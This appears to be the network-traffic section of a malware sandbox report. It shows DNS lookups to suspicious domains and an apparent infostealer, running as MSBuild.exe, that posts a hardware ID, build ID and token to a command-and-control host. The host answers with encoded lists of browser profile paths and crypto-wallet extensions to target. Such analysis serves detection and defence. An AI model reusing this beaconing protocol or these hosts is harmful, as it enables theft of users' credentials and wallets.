Oct 4, 2024 09:53:33.473507881 CEST	443	57248	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.473829031 CEST	57248	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.473844051 CEST	443	57248	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.493182898 CEST	57245	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.493251085 CEST	443	57245	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.572108030 CEST	443	57248	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.572489977 CEST	443	57248	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.572666883 CEST	57248	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.572666883 CEST	57248	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.572666883 CEST	57248	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.574706078 CEST	57253	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.574738979 CEST	443	57253	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.574809074 CEST	57253	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.574928045 CEST	57253	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.574934959 CEST	443	57253	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.732872009 CEST	443	57249	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.734210014 CEST	57249	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.734246016 CEST	443	57249	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.734587908 CEST	57249	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.734595060 CEST	443	57249	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.837002039 CEST	443	57249	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.837749958 CEST	443	57249	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.837984085 CEST	57249	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.838376999 CEST	57249	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.838419914 CEST	443	57249	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.838474989 CEST	57249	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.838491917 CEST	443	57249	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.840804100 CEST	57254	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.840846062 CEST	443	57254	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.840914011 CEST	57254	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.852161884 CEST	57254	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.852195978 CEST	443	57254	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.856338024 CEST	443	57251	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.865490913 CEST	443	57250	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.883712053 CEST	57248	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.883769989 CEST	443	57248	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.899327993 CEST	57251	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.900329113 CEST	57251	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.900341034 CEST	443	57251	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.900762081 CEST	57251	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.900773048 CEST	443	57251	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.900964975 CEST	57250	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.901000023 CEST	443	57250	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:33.901388884 CEST	57250	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:33.901446104 CEST	443	57250	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:34.000919104 CEST	443	57251	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:34.000998020 CEST	443	57251	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:34.001066923 CEST	57251	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:34.001111984 CEST	443	57251	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:34.001141071 CEST	443	57251	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:34.001188040 CEST	57251	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:34.002545118 CEST	443	57250	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:34.002681971 CEST	443	57250	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:34.002851009 CEST	57250	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:34.026653051 CEST	57251	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:34.026680946 CEST	443	57251	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:34.026695013 CEST	57251	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:34.026707888 CEST	443	57251	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:34.033196926 CEST	57250	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:34.033196926 CEST	57250	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:34.033248901 CEST	443	57250	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:34.033279896 CEST	443	57250	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:34.040635109 CEST	57255	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:34.040678024 CEST	443	57255	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:34.040743113 CEST	57255	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:34.042510033 CEST	57256	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:34.042577982 CEST	443	57256	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:34.042617083 CEST	57255	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:34.042630911 CEST	443	57255	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:34.042658091 CEST	57256	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:34.042716980 CEST	57256	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:34.042732954 CEST	443	57256	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:34.114552975 CEST	443	57252	13.107.246.45	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 4, 2024 09:52:21.077533960 CEST	192.168.2.4	1.1.1.1	0x8659	Standard query (0)	proxy.johnmccrea.com	A (IP address)	IN (0x0001)	false
Oct 4, 2024 09:52:41.638974905 CEST	192.168.2.4	1.1.1.1	0x6e78	Standard query (0)	playd.healthnlife.pk	A (IP address)	IN (0x0001)	false
Oct 4, 2024 09:52:43.772027016 CEST	192.168.2.4	1.1.1.1	0x7291	Standard query (0)	soldiefieop.site	A (IP address)	IN (0x0001)	false
Oct 4, 2024 09:52:43.783252001 CEST	192.168.2.4	1.1.1.1	0x2016	Standard query (0)	questionsmw.store	A (IP address)	IN (0x0001)	false
Oct 4, 2024 09:52:43.795113087 CEST	192.168.2.4	1.1.1.1	0xf0bb	Standard query (0)	abnomalrkmu.site	A (IP address)	IN (0x0001)	false
Oct 4, 2024 09:52:43.807847977 CEST	192.168.2.4	1.1.1.1	0xefa5	Standard query (0)	chorusarorp.site	A (IP address)	IN (0x0001)	false
Oct 4, 2024 09:52:43.817770004 CEST	192.168.2.4	1.1.1.1	0x2b67	Standard query (0)	treatynreit.site	A (IP address)	IN (0x0001)	false
Oct 4, 2024 09:52:43.831605911 CEST	192.168.2.4	1.1.1.1	0x5c73	Standard query (0)	snarlypagowo.site	A (IP address)	IN (0x0001)	false
Oct 4, 2024 09:52:43.846555948 CEST	192.168.2.4	1.1.1.1	0x2d95	Standard query (0)	mysterisop.site	A (IP address)	IN (0x0001)	false
Oct 4, 2024 09:52:43.854909897 CEST	192.168.2.4	1.1.1.1	0x8737	Standard query (0)	absorptioniw.site	A (IP address)	IN (0x0001)	false
Oct 4, 2024 09:52:43.864836931 CEST	192.168.2.4	1.1.1.1	0x4a2c	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 4, 2024 09:52:44.957640886 CEST	192.168.2.4	1.1.1.1	0x78c3	Standard query (0)	cowod.hopto.org	A (IP address)	IN (0x0001)	false
Oct 4, 2024 09:52:45.184151888 CEST	192.168.2.4	1.1.1.1	0x20e1	Standard query (0)	beearvagueo.site	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 4, 2024 09:51:58.019421101 CEST	1.1.1.1	192.168.2.4	0xb6f3	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 4, 2024 09:51:58.019421101 CEST	1.1.1.1	192.168.2.4	0xb6f3	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false
Oct 4, 2024 09:51:58.019421101 CEST	1.1.1.1	192.168.2.4	0xb6f3	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Oct 4, 2024 09:51:59.984771013 CEST	1.1.1.1	192.168.2.4	0x9800	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 4, 2024 09:51:59.984771013 CEST	1.1.1.1	192.168.2.4	0x9800	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Oct 4, 2024 09:52:21.388803959 CEST	1.1.1.1	192.168.2.4	0x8659	No error (0)	proxy.johnmccrea.com		141.98.233.156	A (IP address)	IN (0x0001)	false
Oct 4, 2024 09:52:41.666996002 CEST	1.1.1.1	192.168.2.4	0x6e78	No error (0)	playd.healthnlife.pk		147.45.44.104	A (IP address)	IN (0x0001)	false
Oct 4, 2024 09:52:43.781613111 CEST	1.1.1.1	192.168.2.4	0x7291	Name error (3)	soldiefieop.site	none	none	A (IP address)	IN (0x0001)	false
Oct 4, 2024 09:52:43.792963982 CEST	1.1.1.1	192.168.2.4	0x2016	Name error (3)	questionsmw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 4, 2024 09:52:43.805572987 CEST	1.1.1.1	192.168.2.4	0xf0bb	Name error (3)	abnomalrkmu.site	none	none	A (IP address)	IN (0x0001)	false
Oct 4, 2024 09:52:43.816854954 CEST	1.1.1.1	192.168.2.4	0xefa5	Name error (3)	chorusarorp.site	none	none	A (IP address)	IN (0x0001)	false
Oct 4, 2024 09:52:43.830198050 CEST	1.1.1.1	192.168.2.4	0x2b67	Name error (3)	treatynreit.site	none	none	A (IP address)	IN (0x0001)	false
Oct 4, 2024 09:52:43.845180988 CEST	1.1.1.1	192.168.2.4	0x5c73	Name error (3)	snarlypagowo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 4, 2024 09:52:43.853907108 CEST	1.1.1.1	192.168.2.4	0x2d95	Name error (3)	mysterisop.site	none	none	A (IP address)	IN (0x0001)	false
Oct 4, 2024 09:52:43.863950014 CEST	1.1.1.1	192.168.2.4	0x8737	Name error (3)	absorptioniw.site	none	none	A (IP address)	IN (0x0001)	false
Oct 4, 2024 09:52:43.872117996 CEST	1.1.1.1	192.168.2.4	0x4a2c	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 4, 2024 09:52:44.967753887 CEST	1.1.1.1	192.168.2.4	0x78c3	No error (0)	cowod.hopto.org		45.132.206.251	A (IP address)	IN (0x0001)	false
Oct 4, 2024 09:52:45.198184967 CEST	1.1.1.1	192.168.2.4	0x20e1	No error (0)	beearvagueo.site		104.21.93.202	A (IP address)	IN (0x0001)	false
Oct 4, 2024 09:52:45.198184967 CEST	1.1.1.1	192.168.2.4	0x20e1	No error (0)	beearvagueo.site		172.67.214.93	A (IP address)	IN (0x0001)	false
Oct 4, 2024 09:52:53.907267094 CEST	1.1.1.1	192.168.2.4	0x71ce	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 4, 2024 09:52:53.907267094 CEST	1.1.1.1	192.168.2.4	0x71ce	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49745	141.98.233.156	80	7032	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 09:52:21.403889894 CEST	95	OUT	GET / HTTP/1.1 Host: proxy.johnmccrea.com Connection: Keep-Alive Cache-Control: no-cache
Oct 4, 2024 09:52:22.413996935 CEST	168	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 04 Oct 2024 07:52:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 4, 2024 09:52:22.417777061 CEST	443	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEHIJJKEGHJJKECBKECF Host: proxy.johnmccrea.com Content-Length: 256 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 4a 4b 45 47 48 4a 4a 4b 45 43 42 4b 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 43 33 44 38 37 33 31 30 41 30 32 37 34 30 37 32 35 36 30 38 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 4a 4b 45 47 48 4a 4a 4b 45 43 42 4b 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 36 36 61 63 37 62 64 65 61 66 37 36 33 62 62 61 66 37 30 61 61 36 64 35 36 36 37 63 38 30 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 4a 4b 45 47 48 4a 4a 4b 45 43 42 4b 45 43 46 2d 2d 0d 0a Data Ascii: ------JEHIJJKEGHJJKECBKECFContent-Disposition: form-data; name="hwid"49C3D87310A02740725608-a33c7340-61ca------JEHIJJKEGHJJKECBKECFContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------JEHIJJKEGHJJKECBKECF--
Oct 4, 2024 09:52:23.000011921 CEST	232	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 04 Oct 2024 07:52:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 63 39 61 65 64 61 37 37 31 62 64 38 61 62 38 30 33 62 31 36 34 66 38 61 34 61 31 62 64 63 62 62 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|c9aeda771bd8ab803b164f8a4a1bdcbb\|1\|1\|1\|0\|0\|50000\|10
Oct 4, 2024 09:52:23.002223969 CEST	518	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAKFIJDHJEGIDHJKKKJJ Host: proxy.johnmccrea.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 46 49 4a 44 48 4a 45 47 49 44 48 4a 4b 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 61 65 64 61 37 37 31 62 64 38 61 62 38 30 33 62 31 36 34 66 38 61 34 61 31 62 64 63 62 62 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 46 49 4a 44 48 4a 45 47 49 44 48 4a 4b 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 36 36 61 63 37 62 64 65 61 66 37 36 33 62 62 61 66 37 30 61 61 36 64 35 36 36 37 63 38 30 34 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 46 49 4a 44 48 4a 45 47 49 44 48 4a 4b 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 46 49 4a 44 48 4a 45 47 49 44 48 4a 4b 4b 4b 4a 4a 2d 2d 0d 0a Data Ascii: ------CAKFIJDHJEGIDHJKKKJJContent-Disposition: form-data; name="token"c9aeda771bd8ab803b164f8a4a1bdcbb------CAKFIJDHJEGIDHJKKKJJContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------CAKFIJDHJEGIDHJKKKJJContent-Disposition: form-data; name="mode"1------CAKFIJDHJEGIDHJKKKJJ--
Oct 4, 2024 09:52:23.562472105 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 04 Oct 2024 07:52:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 5a 70 64 6d 46 73 5a 47 6c 38 58 46 5a 70 64 6d 46 73 5a 47 6c 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 44 62 32 31 76 5a 47 38 67 52 48 4a 68 5a 32 39 75 66 46 78 44 62 [TRUNCATED] Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfFZpdmFsZGl8XFZpdmFsZGlcVXNlciBEYXRhfGNocm9tZXxDb21vZG8gRHJhZ29ufFxDb21vZG9cRHJhZ29uXFVzZXIgRGF0YXxjaHJvbWV8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxCcmF2ZXxcQnJhdmVTb2Z0d2FyZVxCcmF2ZS1Ccm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZXxcTWljcm9zb2Z0XEVkZ2VcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZSBDYW5hcnl8XE1pY3Jvc29mdFxFZGdlIFN4U1xVc2VyIERhdGF8Y2hyb21lfE1pY3Jvc29mdCBFZGdlIEJldGF8XE1pY3Jvc29mdFxFZGdlIEJldGFcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZSBEZXZ8XE1pY3Jvc29mdFxFZGdlIERldlxVc2V [TRUNCATED]
Oct 4, 2024 09:52:23.562500954 CEST	486	IN	Data Raw: 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 52 55 55 4a 79 62 33 64 7a 5a 58 4a 38 58 46 52 6c 62 6d 4e 6c 62 6e 52 63 55 56 46 43 63 6d 39 33 63 32 56 79 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 Data Ascii: VXNlciBEYXRhfGNocm9tZXxRUUJyb3dzZXJ8XFRlbmNlbnRcUVFCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8Q3J5cHRvVGFiIEJyb3dzZXJ8XENyeXB0b1RhYiBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8T3BlcmF8XE9wZXJhIFNvZnR3YXJlfG9wZXJhfE9wZXJhIEdYfFxPcGVyYSBTb2Z0d2FyZXxvcGVyYXxPcGVyYSB
Oct 4, 2024 09:52:23.650897980 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 4, 2024 09:52:23.652148008 CEST	518	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFIIEHJDBKJKECBFHDGH Host: proxy.johnmccrea.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 61 65 64 61 37 37 31 62 64 38 61 62 38 30 33 62 31 36 34 66 38 61 34 61 31 62 64 63 62 62 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 36 36 61 63 37 62 64 65 61 66 37 36 33 62 62 61 66 37 30 61 61 36 64 35 36 36 37 63 38 30 34 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 2d 2d 0d 0a Data Ascii: ------BFIIEHJDBKJKECBFHDGHContent-Disposition: form-data; name="token"c9aeda771bd8ab803b164f8a4a1bdcbb------BFIIEHJDBKJKECBFHDGHContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------BFIIEHJDBKJKECBFHDGHContent-Disposition: form-data; name="mode"2------BFIIEHJDBKJKECBFHDGH--
Oct 4, 2024 09:52:24.215953112 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 04 Oct 2024 07:52:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 32 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 32 6c 6f 62 32 5a 6c 59 33 77 78 66 44 42 38 4d 48 78 43 61 57 35 68 62 6d 4e 6c 51 32 68 68 61 57 35 58 59 57 78 73 5a 58 52 38 4d 58 78 6d 61 47 4a 76 61 47 6c 74 59 57 56 73 59 6d 39 6f 63 47 70 69 59 6d 78 6b 59 32 35 6e 59 32 35 68 63 47 35 6b [TRUNCATED] Data Ascii: 1628TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb2lob2ZlY3wxfDB8MHxCaW5hbmNlQ2hhaW5XYWxsZXR8MXxmaGJvaGltYWVsYm9ocGpiYmxkY25nY25hcG5kb2RqcHwxfDF8MHxZb3JvaXwxfGZmbmJlbGZkb2Vpb2hlbmtqaWJubWFkamllaGpoYWpifDF8MHwwfENvaW5iYXNlfDF8aG5mYW5rbm9jZmVvZmJkZGdjaWpubWhuZm5rZG5hYWR8MXwwfDF8R3VhcmRhfDF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDF8aVdhbGxldHwxfGtuY2NoZGlnb2JnaGVuYmJhZGRvampubmFvZ2ZwcGZqfDF8MHwwfFJvbmluV2FsbGV0fDF8Zm5qaG1raGhta2Jqa2thYm5kY25ub2dhZ29nYm5lZWN8MXwwfDB8TmVvTGluZXwxfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENsb3ZlcldhbGxldHwxfG5obmtia2dqaWtnY2lnYWRvbWtwaGFsYW5uZGNhcGprfDF8MHwwfExpcXVhbGl0eVdhbGxldHwxfGtwZm9wa2VsbWFwY29pcGVtZmVuZG1kY2dobmVnaW1ufDF8MHwwfFRlcnJhX1N0YXRpb258MXxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnwxfGRta2FtY2tub2drZ2NkZmhoYmRkY2doYW [TRUNCATED]
Oct 4, 2024 09:52:24.215977907 CEST	224	IN	Data Raw: 6b 63 47 52 74 61 32 46 68 61 32 56 71 62 6d 68 68 5a 58 77 78 66 44 42 38 4d 48 78 51 62 32 78 35 62 57 56 7a 61 46 64 68 62 47 78 6c 64 48 77 78 66 47 70 76 61 6d 68 6d 5a 57 39 6c 5a 47 74 77 61 32 64 73 59 6d 5a 70 62 57 52 6d 59 57 4a 77 5a Data Ascii: kcGRta2Fha2VqbmhhZXwxfDB8MHxQb2x5bWVzaFdhbGxldHwxfGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHwxfGZscGljaWlsZW1naGJtZmFsaWNham9vbGhra2VuZmVsfDF8MHwwfENvaW45OHwxfGFlYWNoa25tZWZwaGVwY2Npb25ib29oY2tvbm9lZW1nfDF
